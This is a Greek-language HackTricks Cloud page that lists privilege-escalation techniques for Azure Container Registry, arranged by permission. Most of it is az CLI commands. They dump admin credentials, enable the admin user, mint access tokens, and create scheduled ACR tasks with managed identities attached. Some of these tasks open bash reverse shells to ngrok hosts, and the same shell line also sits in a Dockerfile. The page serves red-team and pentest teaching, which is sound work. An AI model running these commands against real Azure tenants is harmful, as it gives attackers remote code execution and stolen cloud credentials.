Az - Azure Container Registry Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Azure Container Registry
Για περισσότερες πληροφορίες ελέγξτε:
Microsoft.ContainerRegistry/registries/listCredentials/action
Αυτή η άδεια επιτρέπει στον χρήστη να καταγράψει τα διαπιστευτήρια διαχειριστή του ACR. Αυτό είναι χρήσιμο για να αποκτήσει πλήρη πρόσβαση στο μητρώο.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
Σε περίπτωση που τα διαπιστευτήρια διαχειριστή δεν είναι ενεργοποιημένα, θα χρειαστείτε επίσης την άδεια Microsoft.ContainerRegistry/registries/write για να τα ενεργοποιήσετε με:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action
Αυτές οι άδειες επιτρέπουν στον χρήστη να δημιουργήσει ένα νέο token με κωδικούς πρόσβασης για πρόσβαση στο registry.
Για να χρησιμοποιήσετε το az cli για να το δημιουργήσετε όπως στο παρακάτω παράδειγμα, θα χρειαστείτε επίσης τις άδειες Microsoft.ContainerRegistry/registries/read, Microsoft.ContainerRegistry/registries/scopeMaps/read, Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read, Microsoft.ContainerRegistry/registries/tokens/read
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
Αυτές οι άδειες επιτρέπουν στον χρήστη να κατασκευάσει και να εκτελέσει μια εικόνα στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για να εκτελέσει κώδικα στο κοντέινερ.
Warning
Ωστόσο, η εικόνα θα εκτελείται σε ένα sandboxed περιβάλλον και χωρίς πρόσβαση στην υπηρεσία μεταδεδομένων. Αυτό σημαίνει ότι το κοντέινερ δεν θα έχει πρόσβαση στα μεταδεδομένα της παρουσίας, οπότε αυτό δεν είναι πραγματικά χρήσιμο για την αναβάθμιση δικαιωμάτων.
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
Αυτή είναι η κύρια άδεια που επιτρέπει τη δημιουργία και την ενημέρωση μιας εργασίας στο μητρώο. Αυτό μπορεί να χρησιμοποιηθεί για να εκτελέσετε κώδικα μέσα σε ένα κοντέινερ με μια διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτό στο κοντέινερ.
Αυτό είναι το παράδειγμα για το πώς να εκτελέσετε ένα reverse shell σε ένα κοντέινερ με την διαχειριζόμενη ταυτότητα συνδεδεμένη σε αυτό:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Ένας άλλος τρόπος για να αποκτήσετε RCE από μια εργασία χωρίς να χρησιμοποιήσετε εξωτερικό αποθετήριο είναι να χρησιμοποιήσετε την εντολή az acr task create με την επιλογή --cmd. Αυτό θα σας επιτρέψει να εκτελέσετε μια εντολή στο κοντέινερ. Για παράδειγμα, μπορείτε να εκτελέσετε ένα reverse shell με την παρακάτω εντολή:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
Tip
Σημειώστε ότι για να αναθέσετε την ταυτότητα που διαχειρίζεται το σύστημα δεν χρειάζεστε καμία ειδική άδεια, αν και πρέπει να έχει ενεργοποιηθεί προηγουμένως στο μητρώο και να έχει ανατεθεί κάποια άδεια για να είναι χρήσιμη.
Για να αναθέσετε μια ταυτότητα που διαχειρίζεται από τον χρήστη επίσης θα χρειαστείτε την άδεια Microsoft.ManagedIdentity/userAssignedIdentities/assign/action για να κάνετε:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
Για να ενημερώσετε το αποθετήριο μιας υπάρχουσας εργασίας μπορείτε να κάνετε:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
Με αυτή την άδεια είναι δυνατή η εισαγωγή μιας εικόνας στο azure registry, ακόμη και χωρίς να έχετε την εικόνα τοπικά. Ωστόσο, σημειώστε ότι δεν μπορείτε να εισάγετε μια εικόνα με μια ετικέτα που ήδη υπάρχει στο registry.
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
Για να αφαιρέσετε ή να διαγράψετε μια συγκεκριμένη ετικέτα εικόνας από το μητρώο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή. Ωστόσο, σημειώστε ότι θα χρειαστείτε έναν χρήστη ή ένα διακριτικό με αρκετές άδειες για να το κάνετε:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

